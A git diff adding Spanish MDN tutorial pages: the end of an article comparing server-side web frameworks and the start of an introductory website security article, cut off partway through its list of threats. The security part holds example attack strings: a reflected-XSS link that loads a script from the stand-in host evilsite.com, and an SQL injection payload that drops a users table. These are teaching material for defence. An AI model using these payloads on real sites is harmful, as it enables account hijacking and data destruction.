+<p>Por ejemplo, el sistema de plantillas de Django te permite especificar variables usando una sintaxis de "llaves dobles" (ej. <code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>),  que serán reemplazadas por valores pasados desde la función de visualización cuando la página sea renderizada. El sistema de plantillas también proporciona soporte para expresiones (con la sintaxis: <code>{% <em>expression</em> %}</code>), que permite a las plantillas realizar operaciones simples como iterar sobre la lista de valores pasados a la misma.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Muchos otros sistemas de plantillas usan una sintaxis similar, ej.: Jinja2 (Python), Handlebars (JavaScript), Moustache (JavaScript), etc.</p>
+</div>
+
+<p>El fragmento de código de abajo muestra como hacer este trabajo. Continuando el ejemplo del "equipo más joven" de la sección anterior, la "view" pasa a la plantilla HTML una variable tipo lista llamada <code>youngest_teams</code>. Dentro del esqueleto HTML tenemos una expresión que primero comprueba que la variable <code>youngest_teams</code> existe, y luego itera sobre ella en un bucle <code>for</code>. En cada iteración la plantilla presenta en pantalla el valor del <code>team_name</code>  del equipo de uno de los elementos de la lista.</p>
+
+<pre class="brush: html">#best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Como_escoger_un_framework_web">Como escoger un framework web</h2>
+
+<p>Existen muchos frameworks web para casi todos los lenguajes de programación que quieras usar (listamos unos pocos de los frameworks más populares en la sección siguiente). Con tantas opciones, llega a ser difícil deducir qué framework proporciona el mejor punto de partida para tu nueva aplicación web. </p>
+
+<p>Algunos de los factores que pueden afectar tu decisión son:</p>
+
+<ul>
+ <li><strong>Esfuerzo en el aprendizaje:</strong> El esfuerzo en el aprendizaje de un framework web depende de lo familiarizado que estés con el lenguaje de programación subyacente, la consistencia de su API, la calidad de su documentación, y el tamaño y actividad de su comunidad. Si estás partiendo de una nula experiencia en programación, considera entonces Django (es uno de los más fáciles de aprender basándose en los criterios anteriores). Si formas parte de un equipo de desarrolladores que tienen ya una experiencia significante con un framework web o lenguaje de programación en particular tiene sentido entonces que sigas fiel a él.</li>
+ <li><strong>Productividad:</strong> Productividad es una medida de cuán rápido puedes crear nuevas características una vez que te familiarices con el framework, incluidos tanto el esfuerzo para escribir como para mantener el código (ya que puedes escribir nuevas características mientras se rompen las antiguas). Muchos de los factores que afectan a la productividad son similares a los de el "Esfuerzo para aprender" — ej. documentación, comunidad, experiencia en programación, etc. — otros factores incluyen:
+  <ul>
+   <li><em>Propósito/Origen del framework</em>: Algunos frameworks web fueron creados inicialmente para resolver ciertos tipos de problemas, y se mantienen <em>mejor</em> en la creación de apllicaciones web con problemática similar. Por ejemplo, Django fue creado para soportar el desarrollo de un sitio web de un periódico, por lo que es bueno para blogs y otros sitios que impliquen la publicación de cosas. Por contra, Flask es un framework de peso mucho más ligero y es fantástico en la creación de aplicaciones web que se ejecuten en dispositivos embebidos.</li>
+   <li><em>Dogmático versus No Dogmático</em>:  Un framework dogmático es aquél en el que hay recomendaciones sobre el "mejor" método de resolver un problema en particular. Los frameworks dogmáticos tienden a ser más productivos cuando estás tratando de resolver problemas comunes, porque te llevan en la dirección correcta, sin embargo son menos flexibles a veces.</li>
+   <li><em>Con baterías incluidas versus Hazlo tu mismo</em>: Aalgunos frameworks web incluyen herramientas/bibliotecas que abordan por defecto todos los problemas que sus desarrolladores pueden pensar, mientras que los frameworks más ligeros esperan que los desarrolladores web escojan y elijan las soluciones a sus problemas en bibliotecas separadas (Django es un ejemplo del primero, mientras que Flask es un ejemplo de un framework mucho más ligero). Los frameworks que incluyen todo son con frecuencia más fáciles para empezar con ellos porque ya tienes todo lo que necesitas, y las probabilidades son altas de que esté bien integrado y bien documentado. Sin embargo si un framework más pequeño tiene todo lo que puedas necesitar funcionará en entornos mas constreñidos y tendrán un subconjunto de cosas más pequeñas y más fáciles de aprender.</li>
+   <li><em>Si el framework potencia o no buenas prácticas de desarrollo</em>: Por ejemplo, un framework que promueve una arquitectura <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Modelo-View-Controlador</a> para separar el código en funciones lógicas resultará más mantenible que uno que no tiene espectativas en los desarrolladores. Similarmente, el diseño del framework puede tener un gran impacto en cómo de fácil sea probar y reusar el código.</li>
+  </ul>
+ </li>
+ <li><strong>Desempeño del framework/lenguaje de programación: </strong>Normalmente la "velocidad" no es el factor más grande en la selección porque, incluso, con tiempos de ejecución relativamente lentos como Python, son más que suficientemente buenos para sitios de tamaño medio ejecutándose en hardware moderado. Los beneficios percibidos en velocidad de otro lenguaje, ej. C++ o JavaScript, pueden verse compensados por los costes de aprendizaje y mantenimiento.</li>
+ <li><strong>Soporte de Cache:</strong> A medida que tu sitio web adquiere más éxito puedes encontrarte que no sea capaz de soportar el número de peticiones que recibe cuando acceden los usuarios. En este punto puedes considerar añadir soporte de cache. La cache es una optimización en la que almacenas todo o parte de una petición web de manera que no tiene que ser recalculada en subsiguientes peticiones. Devolver una respuesta cacheada es más rápido que calcular una la primera vez. El cacheo puede implementarse en tu código o en el servidor (ver <a href="https://en.wikipedia.org/wiki/Reverse_proxy">proxy inverso</a>). Los frameworks web tienen diferentes niveles de soporte para definir qué contenido debe ser cacheado.</li>
+ <li><strong>Escalabilidad:</strong> Una vez que tu sitio tenga un éxito fabuloso agotarás los beneficios del cacheo e incluso alcanzarás los límites del <em>escalado vertical </em>(ejecutar tu aplicación en un hardware más potente). En este punto podrás necesitar <em>escalar horizontalmente</em> (compartir la carga distribuyendo tu sitio a lo largo de un número de servidores web o bases de datos) o escalar "geográficamente" porque algunos de tus clientes están localizados muy lejos de tu servidor. El framework web que elijas puede marcar una gran diferencia en cómo de fácil sea escalar tu sitio.</li>
+ <li><strong>Seguridad web:</strong> Algunos frameworks web proporcionan mejor soporte para manejar ataques web comunes. Django por ejemplo desinfecta todas las entradas de los usuarios de las plantillas HTML de manera que el posible código JavaScript introducido por el usuario no pueda ejecutarse. Otros frameworks proporcionan protección similar, pero no siempre está habilitada por defecto.</li>
+</ul>
+
+<p>Hay muchos otros posibles factores, incluyendo licenciamiento, si el framework está bajo desarrollo activo o no, etc.</p>
+
+<p>Si eres un completo principiante en la programación probablemente escogerás tu framework basándote en la "facilidad de aprendizaje". Además de la "facilidad de uso" del lenguaje mismo, la alta calidad de la documentación/tutoriales y una comunidad activa que ayuda a nuevos usuarios son tus recursos más valiosos. Nosotros hemos escogido <a href="https://www.djangoproject.com/">Django</a> (Python) y <a href="http://expressjs.com/">Express</a> (Node/JavaScript) para escribir nuestros ejemplos de más adelante en el curso, principalmente porque son fáciles de aprender y tienen un buen soporte.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Vayamos a los sitios principales de <a href="https://www.djangoproject.com/">Django</a> (Python) y <a href="http://expressjs.com/">Express</a> (Node/JavaScript) y comprobemos su documentación y su comunidad.</p>
+
+<ol>
+ <li>Navega a los sitios principales (enlazados abajo)
+  <ul>
+   <li>Pincha en los enlaces de los menus de Documentación (cosas que se llaman como "Documentación, Guía, Referencia API, Primeros Pasos".</li>
+   <li>¿Puedes ver temas que te muestran como configurar enrutado URL, plantillas y bases de datos/modelos?</li>
+   <li>¿Son los documentos suficientemente claros?</li>
+  </ul>
+ </li>
+ <li>Navega a las listas de correo de cada sitio (accesible desde los enlaces de Comunidad).
+  <ul>
+   <li>¿Cuántas preguntas se han realizado en unos pocos días recientes?</li>
+   <li>¿Cuántas tienen respuestas?</li>
+   <li>¿Tienen una comunidad activa?</li>
+  </ul>
+ </li>
+</ol>
+</div>
+
+<h2 id="¿Unos_pocos_frameworks_web_buenos">¿Unos pocos frameworks web buenos?</h2>
+
+<p>Avancemos ahora, y debatamos unos pocos frameworks web específicos de lado servidor.</p>
+
+<p>Los frameworks de lado servidor de más abajo representan unos pocos de los más populares disponibles en el momento de escribir este artículo. Todos ellos tienen todo lo que necesitas para ser productivo — son de código abierto, están bajo desarrollo activo, tienen comunidades entusiastas creando documentación y ayudando a los usuarios en paneles de debate, y se usan en un gran número de sitios web de perfil alto. Hay muchos otros frameworks de lado servidor fantásticos que puedes descubrir usando una búsqueda básica en internet. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡Las descripciones vienen (parcialmente) de los sitios web de los frameworks!</p>
+</div>
+
+<h3 id="Django_(Python)">Django (Python)</h3>
+
+<p><a href="https://www.djangoproject.com/">Django</a> es un Framework Web Python de alto nivel que promueve el desarrollo rápido y limpio y el diseño pragmático. Construido por desarrolladores experimentados, tiene en cuenta muchos de los problemas del desarrollo web, de manera que puedes focalizarte en escribir el código de tu app sin necesidad de reinventar la rueda. Es gratis y de código abierto.</p>
+
+<p>Django sigue la filosofía de "Baterias incluidas" y proporciona casi todo lo que la mayoría de desarrolladores querría hacer "de fábrica". Como todo está incluido, todo funciona en conjunto, sigue principios de diseño consistentes y tiene una extensa documentación actualizada. Es también veloz, seguro y muy escalable. Al estar basado en Python, el código de Django es fácil de leer y de mantener.</p>
+
+<p>Entre los sitios populares que usan Django (según su página web) se incluyen: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p>
+
+<h3 id="Flask_(Python)">Flask (Python)</h3>
+
+<p><a href="http://flask.pocoo.org/">Flask</a> es un microframework para Python. </p>
+
+<p>A pesar de ser minimalista, Flask puede crear sitios web "de fábrica". Contiene un servidor de desarrollo y depurador, e incluye soporte para plantillas <a href="https://github.com/pallets/jinja">Jinja2</a>, cookies seguros, <a href="https://en.wikipedia.org/wiki/Unit_testing">prueba de unidades</a>, y distribución de peticiones <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>. Tiene  buena documentación y una comunidad activa. </p>
+
+<p>Flask se ha vuelto extremadamente popular, particularmente entre desarrolladores que necesitan proporcionar servicios web en sistemas pequeños, y con recursos escasos (ej. ejecutar un servidor web en una  <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Controladores de Drones</a>, etc.)</p>
+
+<h3 id="Express_(Node.jsJavaScript)">Express (Node.js/JavaScript)</h3>
+
+<p><a href="http://expressjs.com/">Express</a> es un framework web veloz, no dogmático, flexible y minimalista para <a href="https://nodejs.org/en/">Node.js</a> (Node es un entorno sin explorador web para ejecutar JavaScript). Proporciona un conjunto de características robusto para aplicaciones web y móviles y entrega valiosos métodos de utilidades HTTP y <a href="/en-US/docs/Glossary/Middleware">middleware</a>.</p>
+
+<p>Express es extremadamente popular, en parte porque facilita la migración de programadores web de JavaScript de lado cliente a desarrollo de lado servidor, y en parte porque es eficiente con los recursos (el entorno de node subyacente usa multitarea ligera dentro de un thread en vez de expandirse en procesos separados para cada nueva petición web).</p>
+
+<p>Debido a que Express es un framework web minimalista no incorpora cada componente que querrías usar (por ejemplo, el acceso a bases de datos y el soporte de usuarios y sesiones se proporciona a través de bibliotecas independientes). Hay muchos componentes independientes excelentes, !pero algunas veces puede ser difícil deducir cuál es el mejor para un propósito en particular!</p>
+
+<p>Muchos frameworks populares y completamente equipados (incluyendo ambos tipos de frameworks de lado servidor y de lado cliente) están basados en Express, como <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://lean-stack.io/">LEAN-STACK</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, and <a href="http://sailsjs.org/">Sails</a>.</p>
+
+<p>Un montón de compañías de perfil alto usan Express, como: Uber, Accenture, IBM, etc. (a<a href="http://expressjs.com/en/resources/companies-using-express.html">quí</a> tienes una lista).</p>
+
+<h3 id="Ruby_on_Rails_(Ruby)">Ruby on Rails (Ruby)</h3>
+
+<p><a href="http://rubyonrails.org/">Rails</a> (normalmente referenciado como "Ruby on Rails") es un framework web escrito para el lenguaje de programación Ruby.</p>
+
+<p>Rails sigue una filosofía de diseño muy similar a Django. Como Django proporciona mecanismos estándard para el enrutado de URLs, acceso a datos de bases, generación de plantillas y formateo de datos como {{glossary("JSON")}} o {{glossary("XML")}}. Promueve de forma similar el uso de patrones de diseño como DRY ("dont repeat yourself", no te repitas — escribir el código una única vez si es posible), MVC (model-view-controller) y numerosos otros.</p>
+
+<p>Hay por supuesto muchas diferencias debido a decisiones específicas de diseño y la naturaleza de los lenguajes.</p>
+
+<p>Rails se usa en sitios de perfil alto, como:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>, <a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>, <a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Highrise</a>.</p>
+
+<h3 id="ASP.NET">ASP.NET</h3>
+
+<p><a href="http://www.asp.net/">ASP.NET</a> es un framework web de código abierto desarrollado por Microsoft para construir aplicaciones y servicios modernos. Con ASP.NET puedes crear rápidamente sitios web basados en HTML, CSS, y JavaScript, escalarlos para ser usados por milllones de usuarios y añadir fácilmente capacidades complejas como APIs web, formularios sobre datos o comunicaciones en tiempo real.</p>
+
+<p>Uno de los diferenciadores de ASP.NET es que está construido sobre el <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR), permitiendo a los programadores escribir código ASP.NET usando cualquier lenguaje .NET soportado (C#, Visual Basic, etc.). Como muchos productos Microsoft se beneficia de herramientas excelentes (frecuentemente gratuitas), y una comunidad de desarrolladores activa, y documentación bien escrita.</p>
+
+<p>ASP.NET se usa por Microsoft, Xbox.com, Stack Overflow, y muchos otros.</p>
+
+<h3 id="Mojolicious_(Perl)">Mojolicious (Perl)</h3>
+
+<p><a href="http://mojolicious.org/">Mojolicious</a> es un framework web de nueva generación para el lenguaje de programación Perl.</p>
+
+<p>Hace tiempo en los primeros días de la Web, mucha gente aprendió Perl gracias a una magnífica biblioteca llamada <a href="https://metacpan.org/module/CGI">CGI</a>. Era lo suficientemente simple para empezar sin saber mucho sobre el lenguaje y lo suficientemente potente para mantenerte en marcha. Mojolicious implementa esta idea usando el último grito de las tecnologías.</p>
+
+<p>Algunas de las caracteríticas que proporciona Mojolicious son: <strong>Framework Web en tiempo real</strong>, para crecer fácilmente desde prototipos de un solo fichero hasta aplicaciones web MVC bien estructuradas; rutas RESTful, plugins, comandos, plantillas especificas de Perl, negociación de contenidos, gestión de sesiones, validación de formatos, framework de pruebas, servidor de ficheros estáticos, detección de CGI/<a href="http://plackperl.org">PSGI</a>, soporte Unicode de primera clase; Implementación  cliente/servidor completamente equipada de HTTP y WebSocket con IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, y soporte de compresión multipart y gzip; parseadores JSON y HTML/XML y generadores con soporte de selector CSS; Muy limpio, portable y API orientada a objetos y Perl puro sin magia oculta; Código fresco basado en años de experiencia, gratis y de código abierto.</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Este artículo ha mostrado que los frameworks web pueden hacer fácil el desarrollo y mantenimiento del código de lado servidor. También ha proporcionado una visión general de alto nivel de unos pocos frameworks más populares y debatido los criterios para elegir el framework para una aplicación web. Deberías tener en este momento una idea de cómo elegir un framework web para tu propio desarrollo de lado servidor. Si no, no te preocupes — más tarde a lo largo del curso te daremos tutoriales detallados de Django y Express para darte algo de experiencia de funcionamiento real con un framework web.</p>
+
+<p>Para el próximo artículo de este módulo cambiaremos de dirección ligeramente y consideraremos la seguridad web.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor </a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Frameworks web de lado servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de sitios Web</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/server-side/first_steps/website_security/index.html b/files/es/learn/server-side/first_steps/website_security/index.html
new file mode 100644
index 0000000000..c2630fc050
--- /dev/null
+++ b/files/es/learn/server-side/first_steps/website_security/index.html
@@ -0,0 +1,177 @@
+---
+title: Seguridad de Sitios Web
+slug: Learn/Server-side/Primeros_pasos/seguridad_sitios_web
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación de lado servidor
+  - Seguridad
+  - Seguridad Web
+  - Seguridad de sitios Web
+  - introducción
+translation_of: Learn/Server-side/First_steps/Website_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">La Seguridad web require vigilancia en todos los aspectos del diseño y uso de un sitio web. Este artículo introductorio no te hará un gurú de la seguridad en sitios web, pero te ayudará a entender de donde vienen las amenazas y qué puedes hacer para fortalecer tu aplicación web contra los ataques más comunes.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Conocimientos de computación básicos.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender las amenazas más comunes para la seguridad de una aplicación web y lo que puedes hacer para reducir el riesgo de que tu sitio sea hackeado.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_la_seguridad_de_sitios_web">¿Qué es la seguridad de sitios web?</h2>
+
+<p>¡Internet es un sitio peligroso! Con mucha frecuencia escuchamos sobre sitios web que dejan de estar disponibles debido a ataques de denegación de servicio, o presentan información modificada (y con frecuencia dañada) en sus páginas de inicio. En otros casos de alto nivel, millones de contraseñas, direcciones de correo electrónico y detalles de tarjetas de crédito han sido filtrados al dominio público, exponiendo a los usuarios del sitio web tanto a bochorno personal como a riesgo finaciero.</p>
+
+<p>El propósito de la seguridad web es prevenir ataques de esta (o de cualquier otra) clase. Mas formalmente, <em>la seguridad es la acción/práctica de proteger sitios web del acceso, uso, modificación, destrucción o interrupción, no autorizados</em>.</p>
+
+<p>La seguridad de sitios web eficaz requiere de esfuerzos de diseño a lo largo de la totalidad del sitio web: en tu aplicación web, en la configuración del servidor web, en tus políticas para crear y renovar contraseñas, y en el código del lado cliente. Al mismo tiempo que todo esto suena muy inquietante, la buena noticia es que si estás usando un framework web de lado servidor, es casi seguro que habilitará por defecto mecanismos de defensa robustos y bien pensados contra gran cantidad de los ataques más comunes. Otros ataques pueden mitigarse por medio de la configuración de tu servidor web, por ejemplo habilitando HTTPS. Finalmente, hay herramientas de escaneado de vulnerabilidades disponibles públicamente que pueden ayudarte a averiguar si has cometido algún error obvio.</p>
+
+<p>El resto de este artículo proporciona más detalle sobre unas pocas amenazas comunes y algunos de los pasos simples que puedes dar para proterger tu sitio.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este es un tema de introducción, diseñado para ayudarte a pensar sobre la seguridad de sitios web. No pretende ser exhaustivo.</p>
+</div>
+
+<h2 id="Amenazas_contra_la_seguridad_de_sitios_web">Amenazas contra la seguridad de sitios web</h2>
+
+<p>Esta sección lista sólo algunas pocas de las amenazas más comunes para los sitios web y cómo son mitigadas. A medida que vayas leyendo, fíjate cómo las amenazas tienen éxito cuando la aplicación web, ¡o confía o <em>no es lo suficientemente paranoica</em> acerca de los datos que vienen del explorador web!</p>
+
+<h3 id="Cross-Site_Scripting_XSS">Cross-Site Scripting (XSS)</h3>
+
+<p>XSS es un término que se usa para describir una clase de ataques que permiten al atacante inyectar scripts de lado cliente, <em>a través </em>del sitio web, hasta los exploradores de otros usuarios. Como el código inyectado va del servidor del sitio al explorador, se supone de confianza, y de aquí que pueda hacer cosas como enviar al atacante la cookie de autorización al sitio del usuario. Una vez que el atacante tiene la cookie pueden iniciar sesión en el sitio como si fuera el verdadero usuario y hacer cualquier cosa que pueda hacer éste. Dependiendo de que sitio sea, esto podría incluir acceso a los detalles de su tarjeta de crédito, ver detalles de contactos o cambiar contraseñas, etc.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las vulnerabilidades XSS han sido históricamente más comunes que las de cualquier otro tipo.</p>
+</div>
+
+<p>Hay dos aproximaciones principales para conseguir que el sitio devuelva scripts inyectados al explorador — se conocen como vulnerabilidades XSS <em>reflejadas</em> y <em>persistentes</em>.</p>
+
+<ul>
+ <li>Una vulnerabilidad XSS <em>reflejada</em> ocurre cuando contenido del usuario que se pasa al servidor se devuelve <em>inmediatamente y sin modificar</em> par que los muestre el explorador — ¡cualquier script en el contenido original del usuario se ejecutará cuando se cargue una nueva página!<br>
+  Por ejemplo, considera una función de búsqueda en un sitio donde los términos de búsqueda están codificados como parámetros URL y estos términos se presentan junto con los resultados. Un atacante puede construir un enlace de búsqueda que contenga un script malicioso como parámetro (ej. <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) y enviarlo como enlace en un correo electrónico a otro usuario: Si el destinatario pincha en este "enlace interesante", el script se ejecutará cuando se muestren en pantalla los resultados de la búsqueda. Como discutimos arriba, ésto da al atacante toda la información que necesita para entrar en el sitio como si fuera el usuario destinatario — realizando compras potencialmente como si fuera el usuario o compartiendo su información de contactos.</li>
+ <li>Una vulnerabilidad <em>XSS persistente</em> es aquella en la que el script malicioso se <em>almacena</em> en el sitio web y luego más tarde se vuelve a presentar en pantalla sin modificar para que otros usuarios lo ejecuten involuntariamente. Por ejemplo, un foro de discusión que accepta comentarios que contengan HTML sin modificar, podría almacenar un script malicioso de un atacante. Cuando se muestren los comentarios se ejecutará el script y enviará al atacante la información requerida para acceder a la cuenta del usuario. Esta clase de ataque es extremadamente popular y muy potente, porque el atacante no tiene que tener ninguna relación directa con las víctimas.<br>
+  <br>
+  Si bien los datos <code>POST</code> o <code>GET</code> son las fuentes más comunes de vulnerabilidades, cualquier dato del explorador es vulnerable potencialmente (incluyendo los datos de cookies renderizados por el explorador, o los ficheros de los usuarios que éste sube o que se muestran).</li>
+</ul>
+
+<p>La mejor defensa contra las vulnerabilidades XSS es eliminar o deshabilitar cualquier etiqueta que pueda contener instrucciones para ejecutar código. En el caso del HTML ésto incluye etiquetas como <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>, y <code>&lt;link&gt;</code>.</p>
+
+<div>
+<p>El proceso de modificar los datos del usuario de manera que no puedan utilizarse para ejecutar scripts o que afecten de otra forma la ejecución del código del servidor, se conoce como "desinfección de entrada" (input sanitization). Muchos frameworks web desinfectan automáticamente la entrada del usuario desde formularios HTML, por defecto.</p>
+</div>
+
+<h3 id="Inyección_SQL">Inyección SQL</h3>
+
+<p>Las vulnerabilidades de Inyección SQL habilitan que usuarios maliciosos ejecuten código SQL arbitrario en una base de datos, permitiendo que se pueda acceder a los datos, se puedan modificar o borrar, independientemente de los permisos del usuario. Un ataque de inyección con éxito, podría falsificar identidades, crear nuevas identidades con derechos de administración, acceder a todos los datos en el servidor o destruir/modificar los datos para hacerlos inutilizables.</p>
+
+<p>Esta vulnerabilidad está presente si la entrada del usuario que se pasa a la sentencia SQL subyacente puede cambiar el significado de la misma. Por ejemplo, considera el código de abajo, que pretende listar todos los usuarios con un nombre en particular (<code>userName</code>) que ha sido suministrado en un formulario HTML:</p>
+
+<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
+
+<p>Si el usuario introduce su nombre real, la cosa funciona como se pretende. Sin embargo un usuario malicioso podría cambiar completamente el comportamiento de esta sentencia SQL a la nueva sentencia de abajo, simplemente especificando para <code>userName</code> el texto de abajo en "<strong>negrilla</strong>". La sentencia modificada crea una sentencia SQL válida que borra la tabla  <code>users</code> y selecciona todos los datos de la tabla <code>userinfo</code>  (revelando la información de todos los usuarios). Esto funciona por que la primera parte del texto inyectado (<code>a';</code>) completa la sentencia original (' es el símbolo para indicar una cadena literal en SQL).</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>';
+</pre>
+
+<p>La manera de evitar esta clase de ataque es asegurar que cualquier dato de usuario que se pasa a un query SQL no puede cambiar la naturaleza del mismo. Una forma de hacer ésto es <a href="https://en.wikipedia.org/wiki/Escape_character">eludir ('escape')</a> todos los caracteres en la entrada de usuario que tengan un significado especial en SQL.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La sentencia SQL trata el caracer ' como el principio y el final de una cadena de texto. Colocando el caracter barra invertida \ delante, "eludimos" el símbolo (\'), y le decimos a SQL que lo trate como un caracter de texto (como parte de la misma cadena).</p>
+</div>
+
+<p>En la sentencia de abajo eludimos el carácter '. SQL interpretará ahora como "nombre" la cadena de texto completa mostrada en negrilla (!un nombre muy raro desde luego, pero no dañino¡)</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;
+
+</pre>
+
+<p>Los frameworks web con frecuencia tienen cuidado de hacer por tí la elusión de caracteres. Django, por ejemplo se asegura que cualquier dato de usuario que se pasa a los conjuntos de queries (modelo de queries) está corregido.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta sección se sustenta aquí en la información de <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia</a>.</p>
+</div>
+
+<h3 id="Cross_Site_Request_Forgery_CSRF">Cross Site Request Forgery (CSRF)</h3>
+
+<p>Los ataques de CSRF permiten que un usuario malicioso ejecute acciones usando las credenciales de otro usuario sin el conocimiento o consentimiento de éste.</p>
+
+<p>Este tipo de ataque se explica mejor con un ejemplo. John es un usuario malicioso que sabe que un sitio en particular permite a los usuarios que han iniciado sesión enviar dinero a una cuenta específica usando una petición HTTP <code>POST</code> que incluye el nombre de la cuenta y una cantidad de dinero. John construye un formulario que incluye los detalles de su banco y una cantidad de dinero como campos ocultos, y lo envía por correo electrónico a otros usuarios del sitio (con el botón de <em>Enviar</em> camuflado como enlace a un sitio "hazte rico rápidamente").</p>
+
+<p>Si el usuario pincha el botón de enviar, se envía al servidor una petición HTTP <code>POST</code> que contiene los detalles de la transacción y <em>todos los cookies de lado-cliente que el explorador asocia con el sitio</em> (añadir cookies asociados con el sitio es un comportamiento normal de los exploradores). El servidor comprobará los cookies, y los usará para determinar si el usuario ha iniciado sesión o no y si tiene permiso para hacer la transacción.</p>
+
+<p>El resultado es que cualquier usuario que pinche en el botón <em>Enviar</em> mientras tiene la sesión iniciada en el sitio comercial hará la transacción. ¡John se hará rico!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El truco aquí es que John no necesita tener acceso a los cookies del usuario (o acceso a sus credenciales) — El explorador del usuario almacena esta información, y la incluye automáticamente en todas las peticiones al servidor asociado.</p>
+</div>
+
+<p>Una manera de prevenir este tipo de ataque por parte del servidor es requerir que la petción <code>POST</code> incluya una palabra secreta específica del usuario generada por el sitio (la palabra secreta podría proporcionarla el servidor cuando envía el formulario web que se usa para hacer transferencias). Esta aproximación evita que John pueda crear su propio formulario, porque necesitaría conocer la palabra secreta que el servidor ha proporcionado para el usuario. Incluso si conociera esta palabra y creara un formulario para un usuario en particular, no podría usar el mismo formulario para atacar a todos los usuarios.</p>
+
+<p>Los frameworks web incluyen con frecuencia tales mecanismos de prevención de CSRF.</p>
+
+<h3 id="Otras_amenazas">Otras amenazas</h3>
+
+<p>Otros ataques/vulnerabilidades incluyen:</p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. En este tipo de ataque, el usuario malicioso secuestra las pulsaciones de ratón dirigidas a un sitio visible por encima de los demás y las redirige a una página escondida por debajo. Esta técnica se usaría, por ejemplo, para presentar un sitio bancario legítimo pero capturar las credenciales de inicio de sesión en un {{htmlelement("iframe")}} invisible controlado por el atacante. Alternativamente podría usarse para conseguir que el usuario pinchara sobre un botón en un sitio visible, pero al hacerlo realmente estuviera sin advertirlo pinchando en otro botón completamente diferente. Como defensa, tu sitio puede protegerse de ser embebido en un iframe de otro sitio configurando las cabeceras HTTP apropiadamente.</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denegación de Servicio, (Denial of Service</a>, DoS). DoS se consigue normalmente inundando el sitio objetivo con peticiones espúreas de manera que se interrumpa el acceso a los usuarios legítimos. Las peticiones pueden simplemente ser numerosas, o consumir individualmente gran cantidad de recursos (ej. lecturas lentas, subidas de grandes ficheros, etc.) Las defensas contra DoS normalmente trabajan mediante la indentificación y el bloqueo de tráfico "malo" permitiendo sin embargo que atraviesen los mensajes legítimos. Estas defensas se encuentran típicamente dentro o antes del servidor (no son parte de la aplicación web misma).</li>
